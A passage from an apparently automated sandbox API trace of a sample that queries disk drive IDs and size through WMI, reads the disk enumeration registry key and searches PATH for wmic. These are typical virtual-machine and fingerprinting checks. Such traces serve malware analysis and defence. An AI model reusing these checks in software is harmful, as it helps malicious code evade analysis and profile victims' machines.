bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0189.510] SysStringLen (param_1="268432012800") returned 0xc [0189.510] SWbemLocator:IUnknown:Release (This=0x162548) returned 0x0 [0189.512] SWbemLocator:IEnumVARIANT:Next (in: This=0x162468, celt=0x1, rgvar=0xc000adf890*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pceltFetched=0xc000adf858 | out: pceltFetched=0xc000adf858*=0x0) returned 0x1 [0189.515] SWbemLocator:IUnknown:Release (This=0x162468) returned 0x1 [0189.531] SWbemLocator:IUnknown:Release (This=0x14a468) returned 0x1 [0189.531] SWbemLocator:IUnknown:Release (This=0x14c960) returned 0x0 [0189.540] GetProcAddress (hModule=0x7fffcbef0000, lpProcName="CoUninitialize") returned 0x7fffcbc07630 [0189.540] CoUninitialize () [0189.576] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0189.577] CLSIDFromProgID (in: lpszProgID="WbemScripting.SWbemLocator", lpclsid=0xc0007482a0 | out: lpclsid=0xc0007482a0*(Data1=0x76a64158, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6))) returned 0x0 [0189.580] CoCreateInstance (in: rclsid=0xc0007482a0*(Data1=0x76a64158, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xc000187ad0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xc0000780a0 | out: ppv=0xc0000780a0*=0x173d10) returned 0x0 [0189.875] SWbemLocator:IUnknown:QueryInterface (in: This=0x173d10, riid=0xc000187ae0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xc000adf778 | out: ppvObject=0xc000adf778*=0x1627e8) returned 0x0 [0189.969] GetUserDefaultLCID () returned 0x409 [0189.969] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x1627e8, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc0000780a8*="ConnectServer", cNames=0x1, lcid=0x409, rgDispId=0xc0007482c0 | out: rgDispId=0xc0007482c0*=1) returned 0x0 [0189.976] GetUserDefaultLCID () returned 0x409 [0189.976] SWbemLocator:IDispatch:Invoke (in: This=0x1627e8, dispIdMember=1, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xc000adf638*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744288, pExcepInfo=0xc000adf6e0, puArgErr=0x0 | out: pDispParams=0xc000adf638*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744288*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14a468, varVal2=0x0), pExcepInfo=0xc000adf6e0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0190.026] GetUserDefaultLCID () returned 0x409 [0190.027] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x14a468, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc0000780b0*="ExecQuery", cNames=0x1, lcid=0x409, rgDispId=0xc0007482d0 | out: rgDispId=0xc0007482d0*=9) returned 0x0 [0190.030] GetUserDefaultLCID () returned 0x409 [0190.030] SWbemLocator:IDispatch:Invoke (in: This=0x14a468, dispIdMember=9, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xc000adf6f8*(rgvarg=([0]=0xc0007442b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SELECT PNPDeviceID, Size FROM Win32_DiskDrive ", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0xc0007442d0, pExcepInfo=0xc000adf7a0, puArgErr=0x0 | out: pDispParams=0xc000adf6f8*(rgvarg=([0]=0xc0007442b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SELECT PNPDeviceID, Size FROM Win32_DiskDrive ", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0xc0007442d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x162008, varVal2=0x0), pExcepInfo=0xc000adf7a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0190.104] GetUserDefaultLCID () returned 0x409 [0190.104] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x162008, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc0000780b8*="Count", cNames=0x1, lcid=0x409, rgDispId=0xc00074830c | out: rgDispId=0xc00074830c*=1) returned 0x0 [0190.106] GetUserDefaultLCID () returned 0x409 [0190.106] SWbemLocator:IDispatch:Invoke (in: This=0x162008, dispIdMember=1, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf678*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc0007442e8, pExcepInfo=0xc000adf720, puArgErr=0x0 | out: pDispParams=0xc000adf678*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc0007442e8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), pExcepInfo=0xc000adf720*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0190.130] GetUserDefaultLCID () returned 0x409 [0190.130] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x162008, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc0000780c0*="_NewEnum", cNames=0x1, lcid=0x409, rgDispId=0xc000748320 | out: rgDispId=0xc000748320*=-4) returned 0x0 [0190.130] GetUserDefaultLCID () returned 0x409 [0190.131] SWbemLocator:IDispatch:Invoke (in: This=0x162008, dispIdMember=-4, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf6f8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744318, pExcepInfo=0xc000adf7a0, puArgErr=0x0 | out: pDispParams=0xc000adf6f8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744318*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x131070, varVal2=0x0), pExcepInfo=0xc000adf7a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0190.133] SWbemLocator:IUnknown:QueryInterface (in: This=0x131070, riid=0xc000187af0*(Data1=0x20404, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xc0000780c8 | out: ppvObject=0xc0000780c8*=0x14c218) returned 0x0 [0190.137] SWbemLocator:IEnumVARIANT:Next (in: This=0x14c218, celt=0x1, rgvar=0xc000adf868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pceltFetched=0xc000adf830 | out: pceltFetched=0xc000adf830*=0x1) returned 0x0 [0190.141] GetUserDefaultLCID () returned 0x409 [0190.141] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x14c288, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc0000780d0*="PNPDeviceID", cNames=0x1, lcid=0x409, rgDispId=0xc000748338 | out: rgDispId=0xc000748338*=25165825) returned 0x0 [0190.149] GetUserDefaultLCID () returned 0x409 [0190.149] SWbemLocator:IDispatch:Invoke (in: This=0x14c288, dispIdMember=25165825, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf2c8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744348, pExcepInfo=0xc000adf370, puArgErr=0x0 | out: pDispParams=0xc000adf2c8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744348*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SCSI\\DISK&VEN_&PROD_ST250LT021/ST250\\4&305DAB9F&0&000000", varVal2=0x0), pExcepInfo=0xc000adf370*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0190.151] SysStringLen (param_1="SCSI\\DISK&VEN_&PROD_ST250LT021/ST250\\4&305DAB9F&0&000000") returned 0x38 [0190.151] GetUserDefaultLCID () returned 0x409 [0190.151] SWbemLocator:IDispatch:GetIDsOfNames (in: This=0x14c288, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xc0000780d8*="Size", cNames=0x1, lcid=0x409, rgDispId=0xc000748358 | out: rgDispId=0xc000748358*=25165826) returned 0x0 [0190.152] GetUserDefaultLCID () returned 0x409 [0190.152] SWbemLocator:IDispatch:Invoke (in: This=0x14c288, dispIdMember=25165826, riid=0xc000187ac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0xc000adf2c8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744360, pExcepInfo=0xc000adf370, puArgErr=0x0 | out: pDispParams=0xc000adf2c8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0xc000744360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="268432012800", varVal2=0x0), pExcepInfo=0xc000adf370*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x0) returned 0x0 [0190.153] SysStringLen (param_1="268432012800") returned 0xc [0190.153] SWbemLocator:IUnknown:Release (This=0x14c288) returned 0x0 [0190.154] SWbemLocator:IEnumVARIANT:Next (in: This=0x14c218, celt=0x1, rgvar=0xc000adf868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pceltFetched=0xc000adf830 | out: pceltFetched=0xc000adf830*=0x0) returned 0x1 [0190.157] SWbemLocator:IUnknown:Release (This=0x14c218) returned 0x1 [0190.163] SWbemLocator:IUnknown:Release (This=0x1627e8) returned 0x1 [0190.163] SWbemLocator:IUnknown:Release (This=0x173d10) returned 0x0 [0190.165] CoUninitialize () [0190.191] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x1, phkResult=0xc000adfbf0 | out: phkResult=0xc000adfbf0*=0x2dc) returned 0x0 [0190.191] RegQueryValueExW (in: hKey=0x2dc, lpValueName="0", lpReserved=0x0, lpType=0xc000adfb38, lpData=0xc000adfbc0, lpcbData=0xc000adfb3c*=0x40 | out: lpType=0xc000adfb38*=0x1, lpData=0xc000adfbc0*=0x0, lpcbData=0xc000adfb3c*=0x72) returned 0xea [0190.191] RegQueryValueExW (in: hKey=0x2dc, lpValueName="0", lpReserved=0x0, lpType=0xc000adfb38, lpData=0xc0002aa180, lpcbData=0xc000adfb3c*=0x72 | out: lpType=0xc000adfb38*=0x1, lpData="SCSI\\Disk&Ven_&Prod_ST250LT021/ST250\\4&305dab9f&0&000000", lpcbData=0xc000adfb3c*=0x72) returned 0x0 [0190.191] RegCloseKey (hKey=0x2dc) returned 0x0 [0190.193] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2c5b0, nSize=0x64 | out: lpBuffer="") returned 0x35 [0190.193] GetEnvironmentVariableW (in: lpName="NoDefaultCurrentDirectoryInExePath", lpBuffer=0xc000a2c680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0190.193] GetFileAttributesExW (in: lpFileName="wmic.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.193] CreateFileW (lpFileName="wmic.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.193] GetFileAttributesExW (in: lpFileName="wmic.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.193] CreateFileW (lpFileName="wmic.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.194] GetFileAttributesExW (in: lpFileName="wmic.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.194] CreateFileW (lpFileName="wmic.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.194] GetFileAttributesExW (in: lpFileName="wmic.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.194] CreateFileW (lpFileName="wmic.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.194] GetFileAttributesExW (in: lpFileName="wmic.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.194] CreateFileW (lpFileName="wmic.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.194] GetFileAttributesExW (in: lpFileName="wmic.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.195] CreateFileW (lpFileName="wmic.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.195] GetFileAttributesExW (in: lpFileName="wmic.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.195] CreateFileW (lpFileName="wmic.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.195] GetFileAttributesExW (in: lpFileName="wmic.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.195] CreateFileW (lpFileName="wmic.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.195] GetFileAttributesExW (in: lpFileName="wmic.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.195] CreateFileW (lpFileName="wmic.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.195] GetFileAttributesExW (in: lpFileName="wmic.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.195] CreateFileW (lpFileName="wmic.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.195] GetFileAttributesExW (in: lpFileName="wmic.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.195] CreateFileW (lpFileName="wmic.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.196] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000a2c750, nSize=0x64 | out: lpBuffer="") returned 0xf1 [0190.196] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000946000, nSize=0xf1 | out: lpBuffer="") returned 0xf0 [0190.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.196] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0190.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf600 | out: lpFileInformation=0xc000adf600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0190.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.cmd"), 